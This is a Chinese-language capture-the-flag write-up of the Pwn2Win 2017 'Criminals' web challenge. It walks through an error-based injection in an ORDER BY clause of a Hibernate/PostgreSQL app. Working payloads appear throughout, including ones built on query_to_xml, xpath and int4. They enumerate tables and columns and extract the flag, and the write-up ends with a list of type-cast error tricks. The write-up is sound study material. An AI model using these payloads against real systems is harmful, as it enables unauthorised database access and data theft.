Pwn2Win 2017 Write-up: Web - Criminals

最終解開這道題目時,發現其實並不困難,但因作者我還是個菜雞,且對這道題目的服務所使用的工具完全沒接觸過,過程中繞了許多圈子、走了許多歪路,不過也累積了不少有用的經驗,於是就來為這道題目寫篇 Write-up,同時也詳細記錄下我所走的各種歪路 (´; ω ;`)

原始的題目說明很單純:

Criminals

Hey, Rebellious member, let's hack this Bloodsuckers web app. I think they keep some secret.
點開網頁應用程式的連結,也是一個很單純的搜尋頁面:

簡單嘗試一下 /robots.txt、/.git/、/.svn/ 等路徑,發現都是 404 的結果,再配合題目敘述,推測可能是要打 SQL Injection。

嘗試 Fuzzing 所有的欄位,直接全部輸入一些奇怪符號「aaa'"'#,」,順利噴出一連串錯誤訊息,並且發現 Order 欄位是 Injectable 的。

測試了一下並根據錯誤訊息,發現後台使用的 DBMS 為 PostgreSQL,並且使用 Hibernate 的 ORM 框架。而查詢的 Query 格式如下,其中 {{ INJECTABLE }} 即為注入點:

SELECT c  
from solutions.bloodsuckers.models.Criminal c  
WHERE   
  (c.name like :pName or :pNameLength = 0) and  
  (c.age = :pAge or :pAge = 0) and  
  (c.crime like :pCrime or :pCrimeLength = 0)  
order by {{ INJECTABLE }}

接著就是我開始進入各種鬼打牆的時候 ( T д T )

根據 PostgreSQL 的官方文件,UNION 和 MySQL 一樣必須在 ORDER BY 之前,因此無法直接 dump 資料:

於是我很單純 (根本是單蠢T__T) 的認為,該將重點放在搭配 SELECT 子查詢觸發 Error-Based Injection,而文件表示可以在 ORDER BY 上使用 expression,所以就先嘗試直接塞 SELECT,但似乎是 Hibernate 不讓我過 (?

繼續爬了一些官方文件,發現可以在 ORDER BY 上使用 CASE WHEN 敘述句,再搭配一些測試,好像順利通過 Hibernate ,成功讓 PostgreSQL 執行,此時的 Payload 為:

case when (  
  select current_user  
  from solutions.bloodsuckers.models.Criminal  
)=1 then 2 else 1 end desc

緊接著利用 CAST( ... AS type ) 的子句觸發轉型錯誤的 Error,讓資料噴出來,順利獲得 DB 的使用者

偷懶直接使用網上的 Cheat Sheet 中的 Payload,想將 table dump 出來

CASE WHEN (  
  SELECT CAST(c.relname AS int)  
  FROM pg_catalog.pg_class c   
  LEFT JOIN   
    pg_catalog.pg_namespace n ON n.oid = c.relnamespace   
  WHERE   
    c.relkind IN ('r','') AND   
    n.nspname NOT IN ('pg_catalog', 'pg_toast') AND   
    pg_catalog.pg_table_is_visible(c.oid)  
)=1 THEN 2 ELSE 1 END DESC

結果卻噴出這個錯誤訊息 Σ(T□T)

原來是因為 Query 中的 table 不是真實的 table,Hibernate 會將其再映射到資料庫中真實的 table,此 Query 似乎也不是普通的 SQL,是一種包裝過的 HQL。

於是我就踏上尋找如何繞過 Hibernate 限制的方法的旅途,但一直沒有搜尋到最重要的關鍵字,導致遲遲沒有結果。想嘗試將 Query 包成字串再讓其動態執行,但所爬到的資料都是利用建立自定義 function,再以 EXECUTE ... USING ... 敘述句來將字串作為 Query 執行,但在這題完全派不上用場 QQ。

比賽期間因為恰好有事沒有辦法解題,所以當在解這道題目時比賽也早已結束,而搜尋了數十篇文章資料都沒有結果,在無計可施的情況下,只好豁出去求助某位大神能否指引方向,那位大神看到後果然秒回我一個可以參考的簡報資料:

New methods for exploiting ORM injections in Java applications by Mikhail Egorov and Sergey Soldatov

其中最關鍵的是 query_to_xml 這個函式,正是可以將某字串作為 Query 執行並將結果轉成 xml 回傳的神器!

於是就重新構造了這麼一段 Payload:

CAST(  
  array_to_string(  
    xpath('row[1]',   
      query_to_xml('select current_user',true,false,'')  
    )  
  ,'')  
AS int)

正當以為能順利運行時

又是 Hibernate 呀 (╯▔□▔)╯ ~╩╩

試著修改一下,加上「 chr(95) || 」看能不能通過

CAST(  
  (chr(95) || array_to_string(  
    xpath('row[1]',   
      query_to_xml('select current_user',true,false,'')  
    )  
  ,''))  
AS int)

WHYYYYYY,雖然過了 Hibernate ,但 query_to_xml 的所有參數被強制作字串 concatenate。

只好繼續在網路上和文件中尋覓有用的敘述句,直到在 StackOverflow 上某篇討論 PostgreSQL 開發相關問題的文章中發現到,除了 CAST 以外,也能嘗試使用 int4 來將字串轉換成數字,於是就修改 Payload 為:

int4(  
  array_to_string(  
    xpath('row[1]',   
      query_to_xml('select current_user',true,false,'')  
    )  
  ,'')  
)

此時已經心力交瘁,邊祈禱著能夠順利邊按下送出

此時我的心情大概就像這個樣子:

搭配 Cheat Sheet 的 Payload,將 table 與 column 都抓出來:

int4(  
  array_to_string(  
    xpath('row[1]',   
      query_to_xml(  
        'SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (''r'','''') AND n.nspname NOT IN (''pg_catalog'', ''pg_toast'') AND pg_catalog.pg_table_is_visible(c.oid)',  
        true,  
        false,  
        ''  
      )  
    )  
  ,'')  
)
int4(  
  array_to_string(  
    xpath('row[1]',   
      query_to_xml(  
        'SELECT relname, A.attname FROM pg_class C, pg_namespace N, pg_attribute A, pg_type T WHERE (C.relkind=''r'') AND (N.oid=C.relnamespace) AND (A.attrelid=C.oid) AND (A.atttypid=T.oid) AND (A.attnum>0) AND (NOT A.attisdropped) AND (N.nspname ILIKE ''public'')',  
        true,  
        false,  
        ''  
      )  
    )  
  ,'')  
)

最後執行最終的 Payload 就能取得 flag:

int4(  
  array_to_string(  
    xpath('row[1]',   
      query_to_xml(  
        'SELECT secret FROM flag',  
        true,  
        false,  
        ''  
      )  
    )  
  ,'')  
)

總結一下,除了那簡報資料提及的 ORM Injection 技巧外,當遇到 PostgreSQL 的 Error-Based Injection 時,也能嘗試以下幾種方式將字串強制轉型成數字來達到利用 Error 獲取資料:

  • CAST( ... AS int )
  • CAST( ( chr(95) || ... ) AS int)
  • int4( ... )
  • int8( ... )
  • float4( ... )
  • float8( ... )
     

這段解題的路上真的非常坎坷,對 CTF 無經驗、對 Hibernate 毫無觀念、對 PostgreSQL 完全沒有接觸,感覺就像是裸身拿著一根樹枝參加世界大戰,在路上撿到一把左輪手槍,一路拚命爬到旗子前,結果發現大戰早已結束 N 個世紀。

但是過程中真的累積到不少寶貴、難得的經驗,很適合給像我這樣的新手作練習。似乎 Hibernate 也是很常見 Java 應用程式使用的框架,值得在有空時好好研究一下 Hibernate 的架構以及 HQL 和 SQL 的差異性。

Show Comments